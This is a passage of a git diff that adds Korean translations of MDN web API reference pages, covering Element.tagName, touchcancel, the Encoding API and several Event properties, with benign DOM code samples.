+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Element.scrollIntoView")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollIntoViewIfNeeded()")}}<a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoViewIfNeeded"> </a>{{non-standard_inline}}<a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrollintoview" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrollintoview"> </a></li>
+</ul>
diff --git a/files/ko/web/api/element/tagname/index.html b/files/ko/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..ecbbc3a405
--- /dev/null
+++ b/files/ko/web/api/element/tagname/index.html
@@ -0,0 +1,62 @@
+---
+title: Element.tagName
+slug: Web/API/Element/tagName
+translation_of: Web/API/Element/tagName
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Element")}} 인터페이스의 <strong><code>tagName</code></strong> 읽기 전용 속성은 요소에 호출된 태그 명을 가져온다.</span> 예를 들면, 만약 {{HTMLElement("img")}} 요소일 경우, 해당 요소의 <code>tagName</code> 속성의 내용은 <code>"IMG"</code> 가 된다 (XML/XHTML 및 HTML 문서에서 대소문자가 다르게 나올 수 있다).</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>elementName</em> = <em>Element</em>.tagName;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>태그 명이 명시된 문자열을 가져온다, 이 때, 아래 경우에 따라 대소문자가 달라질 수 있다.</p>
+
+<ul>
+ <li>HTML 문서에 설계된 DOM 구조에서 가져온 요소는 항시 대소문자로만 이루어진 값을 가져오게 된다.예를 들면, {{HTMLElement("div")}} 객체로 생성한 요소의 <code>tagName</code>  값은 <code>"DIV"</code>가 된다.</li>
+ <li>XML 문서에 설계된 요소 구조의 경우 문서에 작성된 태그 명을 그대로 가져오게 된다. <code>"&lt;SomeTag&gt;"</code> 이라는 명칭으로 태그를 작성하였을 경우, <code>tagName</code> 속성 값은 <code>"SomeTag"</code>이 된다.</li>
+</ul>
+
+<p>{{domxref("Element")}} 객체에서 사용하는 <code>tagName</code> 속성의 값은 {{domxref("Node")}} 객체의 {{domxref("Node.nodeName", "nodeName")}} 속성과 동일한 값을 가져온다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span id="born"&gt;내가 어렸을 적...&lt;/span&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var span = document.getElementById("born");
+console.log(span.tagName);
+</pre>
+
+<p>XHTML (또는 여느 XML 방식) 문서의 경우, 정의한 태그 명 그대로 가져오기 때문에, <code>"span"</code>  같은 소문자 태그명을 가져오게 될 것이다.그에 반해 HTML 문서에서는, 원본 문서에 정의된 태그명과 달리 대소문자를 무시하면서 대문자로만 이루어진 <code>"SPAN"</code> 값을 가져오게 된다.</p>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-element-tagname', 'Element: tagName')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.tagName")}}</p>
diff --git a/files/ko/web/api/element/touchcancel_event/index.html b/files/ko/web/api/element/touchcancel_event/index.html
new file mode 100644
index 0000000000..e5b198282b
--- /dev/null
+++ b/files/ko/web/api/element/touchcancel_event/index.html
@@ -0,0 +1,116 @@
+---
+title: touchcancel
+slug: Web/API/Element/touchcancel_event
+translation_of: Web/API/Element/touchcancel_event
+---
+<p><code style="font-size: 14px; line-height: inherit;">touchcancel</code><span style="line-height: inherit;"> 이벤트는  터치포인트가 현재 구현된 방식안에서 방해 받을때 ( 예를들어 너무 많은 터치 포인트)  발생한다.</span></p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/touch-events/#the-touchcancel-event">Touch Events</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">TouchEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td>EventTarget</td>
+ <td>The event target (the topmost target in the DOM tree).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td>DOMString</td>
+ <td>The type of event.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td>Boolean</td>
+ <td>Whether the event normally bubbles or not.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td>Boolean</td>
+ <td>Whether the event is cancellable or not.</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td>WindowProxy</td>
+ <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td>long (float)</td>
+ <td>0.</td>
+ </tr>
+ <tr>
+ <td><code>touches</code> {{readonlyInline}}</td>
+ <td>TouchList</td>
+ <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact currently touching the surface.</td>
+ </tr>
+ <tr>
+ <td><code>targetTouches</code> {{readonlyInline}}</td>
+ <td>TouchList</td>
+ <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact that is touching the surface and started on the element that is the target of the current event.</td>
+ </tr>
+ <tr>
+ <td><code>changedTouches</code> {{readonlyInline}}</td>
+ <td>TouchList</td>
+ <td>A list of <a href="/en-US/docs/DOM/Touch"><code>Touch</code></a>es for every point of contact which contributed to the event.<br>
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.</td>
+ </tr>
+ <tr>
+ <td><code>ctrlKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>shiftKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>altKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ <tr>
+ <td><code>metaKey</code> {{readonlyInline}}</td>
+ <td>boolean</td>
+ <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p>해당 이벤트의 샘플코드는 <a href="/en-US/docs/DOM/Touch_events" style="line-height: inherit;">Touch events</a> 에서 확인할 수 있다.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("touchstart")}}</li>
+ <li>{{event("touchend")}}</li>
+ <li>{{event("touchmove")}}</li>
+ <li>{{event("touchcancel")}}</li>
+</ul>
diff --git a/files/ko/web/api/encoding_api/index.html b/files/ko/web/api/encoding_api/index.html
new file mode 100644
index 0000000000..04581b999a
--- /dev/null
+++ b/files/ko/web/api/encoding_api/index.html
@@ -0,0 +1,62 @@
+---
+title: 인코딩 API
+slug: Web/API/Encoding_API
+tags:
+ - API
+ - 개요
+ - 레퍼런스
+ - 인코딩
+translation_of: Web/API/Encoding_API
+---
+<p>{{DefaultAPISidebar("Encoding API")}}{{SeeCompatTable}}</p>
+
+<p><strong>인코딩 API</strong>는 {{Glossary("문자 인코딩", "character encodings")}}, {{Glossary("UTF-8")}}이 아닌 레거시 인코딩을 포함한 다양한 문자열을 제어할 수 있는 매커니즘을 제공한다.</p>
+
+<p>인코딩 API는 4가지 인터페이스를 제공한다. {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}}, {{domxref("TextEncoderStream")}} 등 이다.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("TextDecoder")}}</li>
+ <li>{{DOMxRef("TextEncoder")}}</li>
+ <li>{{DOMxRef("TextDecoderStream")}}</li>
+ <li>{{DOMxRef("TextEncoderStream")}}</li>
+</ul>
+</div>
+
+<h2 id="Tutorials_tools">Tutorials &amp; tools</h2>
+
+<ul>
+ <li>A <a href="http://code.google.com/p/stringencoding/" title="http://code.google.com/p/stringencoding/">shim</a> allowing to use this interface in browsers that don't support it.</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> – a C-like representation of strings based on typed arrays.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Encoding")}}</td>
+ <td>{{Spec2("Encoding")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<h3 id="TextDecoder"><code>TextDecoder</code></h3>
+
+<p>{{Compat("api.TextDecoder")}}</p>
+
+<h3 id="TextEncoder"><code>TextEncoder</code></h3>
+
+<p>{{Compat("api.TextEncoder")}}</p>
diff --git a/files/ko/web/api/event/cancelable/index.html b/files/ko/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..4c3154cebe
--- /dev/null
+++ b/files/ko/web/api/event/cancelable/index.html
@@ -0,0 +1,23 @@
+---
+title: event.cancelable
+slug: Web/API/Event/cancelable
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/Event/cancelable
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".E6.A6.82.E8.A6.81" name=".E6.A6.82.E8.A6.81">개요</h3>
+<p>이벤트의 취소가 가능한지를 나타냅니다.</p>
+<h3 id=".E6.A7.8B.E6.96.87" name=".E6.A7.8B.E6.96.87">구문</h3>
+<pre class="eval"><em>bool</em> = <em>event</em>.cancelable;
+</pre>
+<p>이벤트에 규정한 액션을 취소할 수 있는가의 가능여부에 따라서 bool은 true 또는 false가 됩니다.</p>
+<h3 id=".E6.B3.A8.E6.84.8F.E7.82.B9" name=".E6.B3.A8.E6.84.8F.E7.82.B9">주의</h3>
+<p>이벤트취소의 가능여부는 이벤트의 초기화 시에 판별됩니다.</p>
+<p>이벤트를 취소하기 위해 <a href="/ja/DOM/event.preventDefault" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="ja/DOM/event.preventDefault">preventDefault</a> 메소드를 호출하게 되며, 관련 이벤트에 규정된 액션을 실행하지 않도록 합니다.</p>
+<h3 id=".E4.BB.95.E6.A7.98.E6.9B.B8" name=".E4.BB.95.E6.A7.98.E6.9B.B8">사양</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-canCancel">DOM Level 2 Events: cancelable</a></p>
+<p> </p>
+<p>{{ languages( { "en": "en/DOM/event.cancelable", "es": "es/DOM/event.cancelable", "pl": "pl/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable" } ) }}</p>
diff --git a/files/ko/web/api/event/cancelbubble/index.html b/files/ko/web/api/event/cancelbubble/index.html
new file mode 100644
index 0000000000..174565f9c4
--- /dev/null
+++ b/files/ko/web/api/event/cancelbubble/index.html
@@ -0,0 +1,90 @@
+---
+title: Event.cancelBubble
+slug: Web/API/Event/cancelBubble
+translation_of: Web/API/Event/cancelBubble
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong>Event.cancelBubble</strong> 속성은 {{domxref("Event.stopPropagation()")}}의 별칭입니다. 이벤트 핸들러에서 반환되기 전에 값을 true로 설정하면 이벤트가 전파되지 않습니다.</p>
+
+<p>Syntax</p>
+
+<pre class="syntaxbox">event.cancelBubble = <em>bool;</em>
+<em>var bool</em> = event.cancelBubble;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre>elem.onclick = function(e) {
+ // do cool things here
+ e.cancelBubble = true;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancellBubble')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Previous to Firefox 53, this property was defined on the {{domxref("UIEvent")}} interface. See {{bug(1298970)}} for more details.</p>
diff --git a/files/ko/web/api/event/createevent/index.html b/files/ko/web/api/event/createevent/index.html
new file mode 100644
index 0000000000..ef05a699e4
--- /dev/null
+++ b/files/ko/web/api/event/createevent/index.html
@@ -0,0 +1,29 @@
+---
+title: Event.createEvent()
+slug: Web/API/Event/createEvent
+translation_of: Web/API/Document/createEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>새로운 event를 생성합니다, 새로 만들어진 event는 반드시 자신의 init() method를 호출함으로써 초기화되어야만 합니다.</p>
+
+<h3 id="Syntax">Syntax</h3>
+
+<pre><code>document.createEvent(type) </code></pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>A string indicating the event type to create.</dd>
+</dl>
+
+<p>이 method는 명시된 타입인 새로운 DOM {{ domxref("Event") }} 객체를 반환하며 이는 반드시 사용 전에 초기화되어야만 합니다.</p>
+
+<h3 id="Example">Example</h3>
+
+<pre>var newEvent = document.createEvent("UIEvents");</pre>
+
+<h3 id="Specification">Specification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document" title="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">DOM Level 2 Events</a></li>
+</ul>
diff --git a/files/ko/web/api/event/event/index.html b/files/ko/web/api/event/event/index.html
new file mode 100644
index 0000000000..5ba8e6a6c4
--- /dev/null
+++ b/files/ko/web/api/event/event/index.html
@@ -0,0 +1,77 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+tags:
+ - API
+ - Constructor
+ - DOM
+ - Event
+ - Reference
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>Event()</strong></code> constructor는 새로운 {{domxref("Event")}} 객체를 생성합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Event(<var>typeArg</var>[, <var>eventInit</var>]);</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>typeArg</code></dt>
+ <dd>이 인자는 {{domxref("DOMString")}} 입니다. event의 이름을 나타냅니다.</dd>
+ <dt><code>eventInit</code> {{optional_inline}}</dt>
+ <dd>이 인자는 <code>EventInit</code> dictionary, 입니다. 아래의 추가 옵션 필드가 있습니다.
+ <ul>
+ <li><code>bubbles</code>:  {{jsxref("Boolean")}} 값을 받습니다. 해당 event가 bubble인지 아닌지 결정합니다. 기본값은 <code>false</code> 입니다.</li>
+ <li><code>cancelable</code>: {{jsxref("Boolean")}} 값을 받습니다.event가 캔슬 될 수 있는지 없는지 결정합니다. 기본값은<code>false</code> 입니다.</li>
+ <li><code>composed</code>: {{jsxref("Boolean")}} 값을 받습니다. event가 shadow root 바깥의 eventListener 들도 trigger 할 것인지 결정합니다. (더 자세한 내용은 이곳에서 {{domxref("Event.composed")}} ). 기본값은 <code>false</code> 입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">// create a look event that bubbles up and cannot be canceled
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// event can be dispatched from any element, not only the document
+myDiv.dispatchEvent(evt);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-event-event','Event()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering events</a></li>
+</ul>
diff --git a/files/ko/web/api/event/eventphase/index.html b/files/ko/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..895222832d
--- /dev/null
+++ b/files/ko/web/api/event/eventphase/index.html
@@ -0,0 +1,179 @@
+---
+title: Event.eventPhase
+slug: Web/API/Event/eventPhase
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>현재 발생중인 이벤트 흐름의 단계를 나타냅니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js"><em>var phase</em> = event.eventPhase;
+</pre>
+
+<p>이벤트 흐름의 최근 실행 단계에 대한 지정된 정수값을 반환합니다. 가능한 값은 {{anch("이벤트 단계 상수")}} 목록을 참조.</p>
+
+<h2 id="Constants">Constants</h2>
+
+<h3 id="Event_phase_constants">Event phase constants</h3>
+
+<p>이 값들은 이벤트 흐름의 현재 실행 단계를 나타냅니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Constant</th>
+ <th scope="col">Value</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>Event.NONE</code></td>
+ <td>0</td>
+ <td>아무런 이벤트도 발생하지 않았습니다.</td>
+ </tr>
+ <tr>
+ <td><code>Event.CAPTURING_PHASE</code></td>
+ <td>1</td>
+ <td>이벤트가 상위 개체를 통해 전파됩니다. 이 프로세스는 {{domxref("Window")}},  {{domxref("Document")}}에서 시작하여,  {{domxref("HTMLHtmlElement")}} 등 대상의 부모에 도달할 때까지 요소들을 통과합니다. 이 단계에서 {{domxref("EventTarget.addEventListener()")}} 가 호출될 때 캡처 모드에 있는 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>Event.AT_TARGET</code></td>
+ <td>2</td>
+ <td>이벤트가 {{domxref("EventTarget", "the event's target", "", 1)}}에 도착했습니다. 이 단계에서 등록된 이벤트 리스너가 이 때 호출됩니다. 만약  {{domxref("Event.bubbles")}} 이 <code>false</code> 라면, 이 단계가 완료된 다음 이벤트 진행은 종료됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>Event.BUBBLING_PHASE</code></td>
+ <td>3</td>
+ <td>이벤트가 역순으로 대상의 조상을 통해 전파됩니다. 대상의 부모부터 시작해서, {{domxref("Window")}}를 포함하는 단계까지 도달합니다. 이는 버블링으로 알려져 있으며, {{domxref("Event.bubbles")}}가 <code>true</code> 일 때만 발생합니다. 이 프로세스 중에 이 단계에 등록된 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>더 상세한 내용은 DOM Level 3 Events 명세인 <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">section 3.1, Event dispatch and DOM event flow</a> 를 참고하세요.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;h4&gt;Event Propagation Chain&lt;/h4&gt;
+&lt;ul&gt;
+  &lt;li&gt;Click 'd1'&lt;/li&gt;
+  &lt;li&gt;Analyse event propagation chain&lt;/li&gt;
+  &lt;li&gt;Click next div and repeat the experience&lt;/li&gt;
+  &lt;li&gt;Change Capturing mode&lt;/li&gt;
+  &lt;li&gt;Repeat the experience&lt;/li&gt;
+&lt;/ul&gt;
+&lt;input type="checkbox" id="chCapture" /&gt;
+&lt;label for="chCapture"&gt;Use Capturing&lt;/label&gt;
+ &lt;div id="d1"&gt;d1
+  &lt;div id="d2"&gt;d2
+      &lt;div id="d3"&gt;d3
+          &lt;div id="d4"&gt;d4&lt;/div&gt;
+      &lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div id="divInfo"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">div {
+ margin: 20px;
+ padding: 4px;
+ border: thin black solid;
+}
+
+#divInfo {
+ margin: 18px;
+ padding: 8px;
+ background-color:white;
+ font-size:80%;
+}</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">var clear = false, divInfo = null, divs = null, useCapture = false;
+window.onload = function () {
+ divInfo = document.getElementById("divInfo");
+ divs = document.getElementsByTagName('div');
+ chCapture = document.getElementById("chCapture");
+ chCapture.onclick = function () {
+ RemoveListeners();
+ AddListeners();
+ }
+ Clear();
+ AddListeners();
+}
+
+function RemoveListeners() {
+ for (var i = 0; i &lt; divs.length; i++) {
+ var d = divs[i];
+ if (d.id != "divInfo") {
+ d.removeEventListener("click", OnDivClick, true);
+ d.removeEventListener("click", OnDivClick, false);
+ }
+ }
+}
+
+function AddListeners() {
+ for (var i = 0; i &lt; divs.length; i++) {
+ var d = divs[i];
+ if (d.id != "divInfo") {
+ if (chCapture.checked)
+ d.addEventListener("click", OnDivClick, true);
+ else
+ d.addEventListener("click", OnDivClick, false);
+ d.onmousemove = function () { clear = true; };
+ }
+ }
+}
+
+function OnDivClick(e) {
+ if (clear) {
+ Clear(); clear = false;
+ }
+ if (e.eventPhase == 2)
+ e.currentTarget.style.backgroundColor = 'red';
+ var level = e.eventPhase == 0 ? "none" : e.eventPhase == 1 ? "capturing" : e.eventPhase == 2 ? "target" : e.eventPhase == 3 ? "bubbling" : "error";
+ divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "&lt;br/&gt;";
+}
+
+function Clear() {
+ for (var i = 0; i &lt; divs.length; i++) {
+ if (divs[i].id != "divInfo")
+ divs[i].style.backgroundColor = (i &amp; 1) ? "#f6eedb" : "#cceeff";
+ }
+ divInfo.innerHTML = '';
+}</pre>
+
+<p>{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}</td>
+ <td>{{Spec2("DOM2 Events")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/event/index.html b/files/ko/web/api/event/index.html
new file mode 100644
index 0000000000..04c4bc5695
--- /dev/null
+++ b/files/ko/web/api/event/index.html
@@ -0,0 +1,212 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+ - API
+ - DOM
+ - Event
+ - Interface
+ - Reference
+ - UI
+ - 이벤트
+translation_of: Web/API/Event
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Event</code></strong> 인터페이스는 DOM 내에 위치한 이벤트를 나타냅니다.</p>
+
+<p>이벤트는 마우스를 클릭하거나 키보드를 누르는 등 사용자 액션에 의해 발생할 수도 있고, 혹은 비동기적 작업의 진행을 나타내기 위해 API가 생성할 수도 있습니다. 요소의 {{domxref("HTMLElement.click()")}} 메서드를 호출하거나, 이벤트를 정의한 후 특정 대상에 대해서 {{domxref("EventTarget.dispatchEvent()")}}를 사용하는 등 프로그래밍적으로도 만들어낼 수 있습니다.</p>
+
+<p>이벤트의 종류는 다양하며 일부는 <code>Event</code> 인터페이스의 파생 인터페이스를 사용합니다. <code>Event</code> 자체는 모든 이벤트에 공통된 속성과 메서드를 가집니다.</p>
+
+<p>많은 DOM 요소는 이벤트를 받고("수신"), 받은 이벤트를 "처리"하는 코드를 실행할 수 있습니다. 이벤트 처리기는 대개 {{domxref("EventTarget.addEventListener()")}}를 사용해 다양한 요소(<code>&lt;button&gt;</code>, <code>&lt;div&gt;</code>, <code>&lt;span&gt;</code>, 등등)에 "부착"합니다. 그리고 제대로 추가한 경우, 반대로 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}}로 제거할 수도 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 하나의 요소는 다수의 처리기를 가질 수 있습니다. 완전히 동일한 이벤트에 대해서도, 예컨대 광고 모듈과 통계 모듈이 각각 비디오 시청을 추적하는 등 여러 처리기를 따로 등록할 수 있습니다.</p>
+</div>
+
+<p>중첩된 많은 요소가 서로 자신만의 처리기를 가지고 있는 경우 이벤트 처리가 매우 복잡해질 수 있습니다. 특히 부모 요소와 자식 요소의 "공간 상 위치"가 겹쳐서 이벤트가 양쪽 모두에서 발생하는 경우, 이벤트 처리 순서는 각 처리기의 <a href="/ko/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">이벤트 확산과 캡처</a> 설정에 따라 달라집니다.</p>
+
+<h2 id="Event_기반_인터페이스">Event 기반 인터페이스</h2>
+
+<p>다음은 <code>Event</code> 인터페이스에서 파생된 인터페이스의 목록입니다.</p>
+
+<p>모든 이벤트 인터페이스 이름은 "Event"로 끝납니다.</p>
+
+<div class="index">
+<ul>
+ <li>
+ <div class="index">
+ <ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BeforeInputEvent")}}</li>
+ <li>{{domxref("BeforeUnloadEvent")}}</li>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("ClipboardEvent")}}</li>
+ <li>{{domxref("CloseEvent")}}</li>
+ <li>{{domxref("CompositionEvent")}}</li>
+ <li>{{domxref("CSSFontFaceLoadEvent")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
